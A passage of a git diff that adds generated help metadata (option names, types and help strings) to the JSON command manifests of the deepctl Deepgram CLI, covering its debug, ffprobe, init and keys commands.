+        "opts": [
+          "--file",
+          "-f"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": true,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Path to audio file or URL to debug"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/debug-browser.json b/src/deepctl/_manifest.d/debug-browser.json
index 55cea88e..48577326 100644
--- a/src/deepctl/_manifest.d/debug-browser.json
+++ b/src/deepctl/_manifest.d/debug-browser.json
@@ -9,5 +9,217 @@
   "requires_auth": false,
   "aliases": [
     "debug-browser"
-  ]
+  ],
+  "help": {
+    "name": "browser",
+    "help": "Debug browser compatibility and capabilities for Deepgram services\n\nExamples:\n  dg debug browser\n  dg debug browser --port 8080\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Debug browser capabilities",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "save_report",
+        "opts": [
+          "--save-report"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Save debug report to a JSON file"
+      },
+      {
+        "class": "option",
+        "name": "timeout",
+        "opts": [
+          "--timeout"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Timeout in seconds to wait for browser connection (default: 60)"
+      },
+      {
+        "class": "option",
+        "name": "no_browser",
+        "opts": [
+          "--no-browser"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Don't automatically open the browser"
+      },
+      {
+        "class": "option",
+        "name": "port",
+        "opts": [
+          "--port",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Port to run the debug server on (default: auto-select starting from 3000)"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/debug-network.json b/src/deepctl/_manifest.d/debug-network.json
index 3f9db56f..b0fe9727 100644
--- a/src/deepctl/_manifest.d/debug-network.json
+++ b/src/deepctl/_manifest.d/debug-network.json
@@ -9,5 +9,259 @@
   "requires_auth": false,
   "aliases": [
     "debug-network"
-  ]
+  ],
+  "help": {
+    "name": "network",
+    "help": "Debug network connectivity issues with Deepgram services\n\nExamples:\n  dg debug network\n  dg debug network --verbose\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Debug network issues",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "test_websocket",
+        "opts": [
+          "--test-websocket"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Also test WebSocket connectivity (wss://)"
+      },
+      {
+        "class": "option",
+        "name": "save_report",
+        "opts": [
+          "--save-report"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Save full diagnostic report to file"
+      },
+      {
+        "class": "option",
+        "name": "simulate_blocked_crl",
+        "opts": [
+          "--simulate-blocked-crl"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Simulate blocked CRL/OCSP endpoints (for testing)"
+      },
+      {
+        "class": "option",
+        "name": "timeout",
+        "opts": [
+          "--timeout"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Timeout in seconds for network operations (default: 10)"
+      },
+      {
+        "class": "option",
+        "name": "skip_commands",
+        "opts": [
+          "--skip-commands"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip system command execution (openssl, curl, etc.)"
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show detailed diagnostic information"
+      },
+      {
+        "class": "option",
+        "name": "endpoint",
+        "opts": [
+          "--endpoint",
+          "-e"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Specific endpoint to test (default: api.deepgram.com)"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/debug-probe.json b/src/deepctl/_manifest.d/debug-probe.json
index 7fea673e..32f7a8bc 100644
--- a/src/deepctl/_manifest.d/debug-probe.json
+++ b/src/deepctl/_manifest.d/debug-probe.json
@@ -9,5 +9,196 @@
   "requires_auth": true,
   "aliases": [
     "debug-probe"
-  ]
+  ],
+  "help": {
+    "name": "probe",
+    "help": "Launch a local WebSocket proxy that periodically probes streaming audio with ffprobe while forwarding to Deepgram.\n\nExamples:\n  dg debug probe\n  dg debug probe --port 3100\n  dg debug probe --probe-interval-bytes 131072\n  dg debug probe --probe-interval-seconds 10\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Stream probe proxy",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show per-frame details"
+      },
+      {
+        "class": "option",
+        "name": "probe_interval_seconds",
+        "opts": [
+          "--probe-interval-seconds"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "float"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Probe every N seconds (default: 10)"
+      },
+      {
+        "class": "option",
+        "name": "probe_interval_bytes",
+        "opts": [
+          "--probe-interval-bytes"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Probe every N bytes of audio (default: 131072)"
+      },
+      {
+        "class": "option",
+        "name": "port",
+        "opts": [
+          "--port",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Local proxy port (default: auto-select 3100-3199)"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/debug-toolkit.json b/src/deepctl/_manifest.d/debug-toolkit.json
index 763f03f8..512a50e5 100644
--- a/src/deepctl/_manifest.d/debug-toolkit.json
+++ b/src/deepctl/_manifest.d/debug-toolkit.json
@@ -9,5 +9,18 @@
   "requires_auth": false,
   "aliases": [
     "debug-toolkit"
-  ]
+  ],
+  "help": {
+    "name": "toolkit",
+    "help": "Run field engineering diagnostic scripts fetched from deepgram/support-toolkit. Scripts are downloaded on first use, verified against their GitHub blob SHA, and cached locally.",
+    "short_help": "Field support scripts (deepgram/support-toolkit)",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": true,
+    "options_metavar": "[OPTIONS]",
+    "params": [],
+    "group": true,
+    "subcommand_metavar": "COMMAND [ARGS]..."
+  }
 }
diff --git a/src/deepctl/_manifest.d/debug.json b/src/deepctl/_manifest.d/debug.json
index 06687e31..7f51bf55 100644
--- a/src/deepctl/_manifest.d/debug.json
+++ b/src/deepctl/_manifest.d/debug.json
@@ -6,5 +6,41 @@
   "summary": "Debug utilities",
   "hidden": false,
   "group": true,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "debug",
+    "help": "Debug utilities for troubleshooting Deepgram integration issues",
+    "short_help": "Debug utilities",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": true,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose debug output"
+      }
+    ],
+    "group": true,
+    "subcommand_metavar": "COMMAND [ARGS]..."
+  }
 }
diff --git a/src/deepctl/_manifest.d/ffprobe.json b/src/deepctl/_manifest.d/ffprobe.json
index c5a6509b..df34444c 100644
--- a/src/deepctl/_manifest.d/ffprobe.json
+++ b/src/deepctl/_manifest.d/ffprobe.json
@@ -5,5 +5,174 @@
   "dist": "deepctl-cmd-ffprobe",
   "summary": "Configure ffprobe",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "ffprobe",
+    "help": "Show ffprobe status or configure a custom path. ffprobe is used for audio analysis in transcribe and debug commands.\n\nExamples:\n  dg ffprobe\n  dg ffprobe --path /opt/homebrew/bin/ffprobe\n  dg ffprobe --path $(which ffprobe)\n  dg ffprobe --reset\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Configure ffprobe",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "reset",
+        "opts": [
+          "--reset"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Clear stored path, revert to auto-detection"
+      },
+      {
+        "class": "option",
+        "name": "path",
+        "opts": [
+          "--path"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Set custom ffprobe binary path"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/init.json b/src/deepctl/_manifest.d/init.json
index 5183cbdd..76e5dbcd 100644
--- a/src/deepctl/_manifest.d/init.json
+++ b/src/deepctl/_manifest.d/init.json
@@ -5,5 +5,298 @@
   "dist": "deepctl-cmd-init",
   "summary": "Scaffold a Deepgram starter app (alpha)",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "init",
+    "help": "Browse, clone, and set up Deepgram starter apps.\n\nFetches templates from the Deepgram templates gallery. Run with no arguments for an interactive search-and-select picker, or pass a template name directly to clone immediately.\n\nExamples:\n  dg init\n  dg init --search python\n  dg init node-transcription\n  dg init node-transcription --dir ./my-app\n  dg init node-transcription --install\n  dg init node-transcription --no-install\n  dg init --list\n  dg init --list --search flask\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Scaffold a Deepgram starter app (alpha)",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "no_start",
+        "opts": [
+          "--no-start"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip start step without prompting"
+      },
+      {
+        "class": "option",
+        "name": "start",
+        "opts": [
+          "--start"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Run start step after install without prompting"
+      },
+      {
+        "class": "option",
+        "name": "no_install",
+        "opts": [
+          "--no-install"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip setup step without prompting"
+      },
+      {
+        "class": "option",
+        "name": "install",
+        "opts": [
+          "--install"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Run setup (make check-prereqs && make init) without prompting"
+      },
+      {
+        "class": "option",
+        "name": "list",
+        "opts": [
+          "--list",
+          "-l"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "List available templates and exit"
+      },
+      {
+        "class": "option",
+        "name": "search",
+        "opts": [
+          "--search",
+          "-s"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Filter templates by keyword"
+      },
+      {
+        "class": "option",
+        "name": "dir",
+        "opts": [
+          "--dir",
+          "-d"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Target directory (default: ./{template-name})"
+      },
+      {
+        "class": "argument",
+        "name": "template",
+        "opts": [
+          "template"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/keys.json b/src/deepctl/_manifest.d/keys.json
index e146b14a..4792affe 100644
--- a/src/deepctl/_manifest.d/keys.json
+++ b/src/deepctl/_manifest.d/keys.json
@@ -5,5 +5,411 @@
   "dist": "deepctl-cmd-keys",
   "summary": "Manage API keys",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "keys",
+    "help": "Manage Deepgram API keys\n\nExamples:\n  dg keys\n  dg keys --list\n  dg keys --create --comment 'staging key' --scopes member\n  dg keys --show KEY_ID\n  dg keys --delete KEY_ID\n  dg keys --list --status active\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Manage API keys",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "dry_run",
+        "opts": [
+          "--dry-run"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show what would happen without making any changes"
+      },
+      {
+        "class": "option",
+        "name": "yes",
+        "opts": [
+          "--yes",
+          "-y"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip confirmation prompts"
+      },
+      {
+        "class": "option",
+        "name": "project_id",
+        "opts": [
+          "--project-id",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Project ID (uses configured project if not provided)"
+      },
+      {
+        "class": "option",
+        "name": "status",
+        "opts": [
+          "--status"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
